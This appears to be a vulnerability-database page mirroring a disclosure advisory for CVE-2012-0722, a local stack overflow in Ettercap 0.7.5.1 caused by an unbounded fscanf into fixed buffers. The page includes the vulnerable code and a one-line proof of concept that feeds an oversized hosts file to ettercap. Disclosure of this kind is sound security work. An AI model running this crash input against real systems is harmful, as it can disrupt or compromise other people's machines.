Lucene search
K

Ettercap <= 0.7.5.1 Stack Overflow Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 32 Views

Ettercap Stack Overflow Vulnerability with CWE-121, CVE-2012-0722, Patch Solutio

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Ettercap <= 0.7.5.1 Stack Overflow Vulnerability
7 Jan 201300:00
zdt
CVE
CVE-2012-0722
11 Jan 201322:00
cve
Cvelist
CVE-2012-0722
11 Jan 201322:00
cvelist
Exploit DB
Ettercap 0.7.5.1 - Stack Overflow
7 Jan 201300:00
exploitdb
exploitpack
Ettercap 0.7.5.1 - Stack Overflow
7 Jan 201300:00
exploitpack
NVD
CVE-2012-0722
11 Jan 201322:55
nvd
Packet Storm
Ettercap 0.7.5.1 Stack Overflow
8 Jan 201300:00
packetstorm

                                                Title: Ettercap Stack overflow (CWE-121)
References: CVE-2012-0722
Discovered by: Sajjad Pourali
Vendor: http://www.ettercap.sourceforge.net/
Vendor contact: 13-01-01 21:20 UTC (No response)
Solution: Using the patch
Patch: http://www.securation.com/files/2013/01/ec.patch

Local: Yes
Remote: No
Impact: low

Affected:
 - ettercap 0.7.5.1
 - ettercap 0.7.5
 - ettercap 0.7.4 and earlier
Not affected:
 - ettercap 0.7.4.1

---

Trace vulnerable place:

./include/ec_inet.h:27-44
enum {
   NS_IN6ADDRSZ            = 16,
   NS_INT16SZ              = 2,

   ETH_ADDR_LEN            = 6,
   TR_ADDR_LEN             = 6,
   FDDI_ADDR_LEN           = 6,
   MEDIA_ADDR_LEN          = 6,

   IP_ADDR_LEN             = 4,
   IP6_ADDR_LEN            = 16,
   MAX_IP_ADDR_LEN         = IP6_ADDR_LEN,

   ETH_ASCII_ADDR_LEN      = sizeof(&#34;ff:ff:ff:ff:ff:ff&#34;)+1,
   IP_ASCII_ADDR_LEN       = sizeof(&#34;255.255.255.255&#34;)+1,
   IP6_ASCII_ADDR_LEN      = sizeof(&#34;ffff:ffff:ffff:ffff:ffff:ffff:255.255.255.255&#34;)+1,
   MAX_ASCII_ADDR_LEN      = IP6_ASCII_ADDR_LEN,
};

./include/ec_resolv.h:42
#define MAX_HOSTNAME_LEN   64

./src/ec_scan.c:610-614
char ip[MAX_ASCII_ADDR_LEN];
char mac[ETH_ASCII_ADDR_LEN];
char name[MAX_HOSTNAME_LEN];


./src/ec_scan.c:633-635
if (fscanf(hf, &#34;%s %s %s\n&#34;, ip, mac, name) != 3 ||
         *ip == &#39;#&#39; || *mac == &#39;#&#39; || *name == &#39;#&#39;)
         continue;

---

PoC:

sudo ruby -e&#39;puts&#34;a&#34;*2000&#39; &#62; overflow && sudo ettercap -T -j overflow

---

 + Sajjad Pourali
 + http://www.securation.com
 + Contact: sajjad[at]securation.com
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation